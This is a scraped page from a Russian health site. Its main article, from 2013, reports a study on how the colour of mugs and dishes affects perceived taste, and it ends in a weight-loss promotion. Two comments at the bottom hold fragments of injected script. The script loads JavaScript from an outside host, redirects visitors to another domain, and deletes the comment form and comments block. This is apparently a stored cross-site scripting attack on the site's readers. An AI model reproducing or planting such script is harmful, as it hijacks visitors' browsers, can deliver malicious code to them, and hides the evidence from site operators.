Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Из какой кружки лучше пит...  >>  Из какой кружки лучше пить, чтобы было вкуснее? Ученые нашли ответ!
 
Обратная связь
 

Из какой кружки лучше пить, чтобы было вкуснее? Ученые нашли ответ!

Размер шрифта
15 апреля 2013 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Чтобы похудеть нужно думать, что ешь! Но оказалось, что посуда, из которой вы едите может влиять на ваш вес!

Из какой кружки лучше пить, чтобы было вкуснее? Ученые нашли ответ!

«Цвет посуды, из которой мы едим, можем влиять на характеристики пищи, такие как вкус и аромат», – объясняет Бетина Пикерас-Фисзман, научный сотрудник Политехнического университета Валенсии. Совместно с Чарльзом Спенсом, своим коллегой из Оксфордского Университета, ученые пришли к подобным умозаключениям, изучая вкусовые особенности горячего шоколада.

57 участникам был предложен горячий шоколад в четырех пластиковых кружках одинакового размера, но разного цвета (белая, кремовая, красная и оранжевая).

Выяснилось, что вкус напитка из оранжевой и кремовой кружек воспринимался лучше, чем из остальных. Сладость напитка и его запах едва ли отличались в кружках разных цветов, хотя некоторые участники и утверждали, что горячий шоколад в кремовой кружке был несколько слаще и ароматнее.

«Универсального правила здесь не существует», – говорит Пикерас-Фисзман. «В действительности этот эффект – влияние цвета посуды на вкус пищи – зависит от конкретного продукта, однако, в общем и целом это влияние выражено куда сильнее, чем вы могли бы себе представить».

В этом исследовании были обобщены все имеющие данные об этом эффекте. А их накопилось немало: лимоны вкуснее всего в лимонницах желтого цвета, безалкогольные напитки лучше утоляют жажду, если подаются в емкостях холодных цветов (например, синий), а не теплых (например, красный). Розовый же цвет «делает» напитки более сладкими.

Из других наблюдений: вкус клубничного мусса кажется более насыщенным, если он подается на белой тарелке, а не на черной. Что касается кофе, большинство опрошенных утверждали, что емкости коричневого и красного цветов придавали напитку более выраженный вкус и аромат, тогда как в кружках синего и желтого оттенков вкус кофе казался мягче.

Чтобы похудение не превращалось в пытку, еда должна приносить не только насыщение, но и удовольствие. Пересмотрите посуду, из которой вы едите – возможно в ней скрыт секрет вашего похудения!

Ну, а если вы всерьез хотите похудеть, то худейте вместе с нами в новом проекте «Диета Елены Малышевой».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 19:35

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 23:20

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Напитки, которые мешают лекарствам   Энергетический напиток убил пять человек   Почему нужно пить воду   Напитки для любого настроения. Что пить, чтобы не грустить  
12 апреля 2013Ученые выяснили, из каких кружек лучше пить 30 ноября 2012Энергетический напиток убил пять человек
 
27 августа 2012Лекарство от рака ищите в обычном кафе! 03 февраля 2012Кофе снижает риск фиброза
 

Слайдшоу

1
5 причин пить кофе
Супернапитки для лета. Часть 2
Худшие и лучшие напитки для снижения веса

Тесты

1
Кофеин вызывает зависимость?
Нормальный ли у вас сон?
Цистит: как с ним бороться
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.